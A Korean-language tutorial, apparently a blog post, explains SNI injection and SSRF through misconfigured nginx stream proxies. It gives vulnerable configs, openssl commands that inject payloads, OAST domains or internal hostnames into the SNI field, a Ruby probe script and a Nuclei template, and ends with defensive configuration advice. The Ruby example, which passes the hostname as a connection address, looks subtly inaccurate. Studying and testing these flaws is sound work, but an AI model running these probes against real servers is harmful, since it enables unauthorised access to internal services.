SNI(Server Name Indication)은 TLS의 확장 기능으로 handshake 과정 초기에 클라이언트가 어떤 호스트에 접속하는지 서버에게 알리는 역할을 수행합니다.
이러한 SNI 정보는 클라이언트와 서버간의 통신을 위해 Handshake하는 과정에서 사용되기 때문에 SNI 정보를 처리하거나 검증등에 활용하는 경우 일반적인 Injection 공격과 동일하게 임의의 데이터를 Inject할 수 있습니다. 대표적으로 활용되는 케이스는 아래와 같습니다.
# SNI SSRF에 취약한 nginx 설정
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
# 정규표현식을 통해 처리하는 경우에도 SNI를 통해 통제되지 않는 동작이 발생할 수 있음
stream {
map $ssl_preread_server_name $targetBackend {
~^www.example\.com $ssl_preread_server_name;
}
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $targetBackend:443;
ssl_preread on;
}
}
SNI Injection을 위해선 SNI 필드를 원하는 데이터로 수정할 수 있어야 합니다. Packet을 조작하여 전달하는 방법이 가장 깊은 레벨의 공격까지 진행할 수 있고, 일반적으론 도구를 사용해서 편집하는게 편리합니다.
openssl s_client \
-connect target.com:443 \
-servername "<PAYLOAD>" \
-crlf
openssl client를 통해 쉽게 SNI를 수정할 수 있습니다. -servername flag는 SNI 데이터를 지정하는 부분으로 해당 flag를 통해 공격 페이로드를 삽입하거나 아래와 같이 OOB를 유도하는 OAST를 통해 식별할 수 있습니다.
# OAST
openssl s_client \
-connect target.com:443 \
-servername "ecoztid37w4o7gpy6wgzgvyify.odiss.eu" \
-crlf
Ruby, Python 등으로 쉽게 작성해서 테스트할 수 있습니다. 아래는 Ruby로 작성한 예시입니다.
# frozen_string_literal: true
require 'net/http'
def check(url, sni)
uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
request = Net::HTTP::Get.new(uri)
response = http.request(request)
p response.code
p response.body
end
end
check('https://www.hahwul.com','internal.hahwul.com')
check('https://www.hahwul.com','dalfox.hahwul.com')
tls-sni를 쉽게 수정하면서 테스트할 수 있도록 Nuclei에선 기능과 템플릿을 제공하고 있습니다.
id: tls-sni-proxy
info:
name: TLS SNI Proxy Detection
author: pdteam
severity: info
reference:
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://www.bamsoftware.com/computers/sniproxy/
tags: ssrf,oast,tls,sni,proxy
requests:
- raw:
- |
@tls-sni: interactsh-url
GET HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
https://github.com/projectdiscovery/nuclei-templates/blob/main/misconfiguration/tls-sni-proxy.yaml
Injection 공격은 공격자가 어떤 액션을 목적으로 하고 어떤 코드를 사용하고, 대상에 어떤 취약점이 있느냐에 따라서 여러가지 형태로 나타나지만 가장 잘 알려진 공격은 SSRF 입니다.
# SSRF via SNI
openssl s_client \
-connect target.com:443 \
-servername "internal.inhouse.domain" \
-crlf
아까 위에서 이야기했던 Ruby 코드를 가지고 예시로 작성해보면 이렇습니다.
require 'net/http'
def check(url, sni)
uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
request = Net::HTTP::Get.new(uri)
response = http.request(request)
p response.code
p response.body
end
end
check('https://public.target.com/server-status','internal.service')
웹 요청은 아래와 같이 발생하지만 실제 연결되는 도메인은 internal.service로 proxy_pass 등이 오 설정된 경우 공격자가 원하는 도메인으로 요청을 발생 시킬 수 있습니다.
GET /server-status HTTP/1.1
BlackHat 문서 중 유명한 Era of SSRF를 보면 SNI Injection 에 대한 내용도 있습니다. Mail Injection에도 충분히 사용될 수 있으니 잘 알아두시는게 좋을 것 같네요 :D
실제 Application에서 직접 TLS를 다루는 경우는 적습니다. 관련 라이브러리 또는 WAS, Ingress 등의 설정에서 SNI를 신뢰하는지, 어떻게 처리하는지 확인하고 위와 같은 경우들이 발생하지 않도록 규칙이나 정규표현식 등을 정확하게 설정해야 합니다.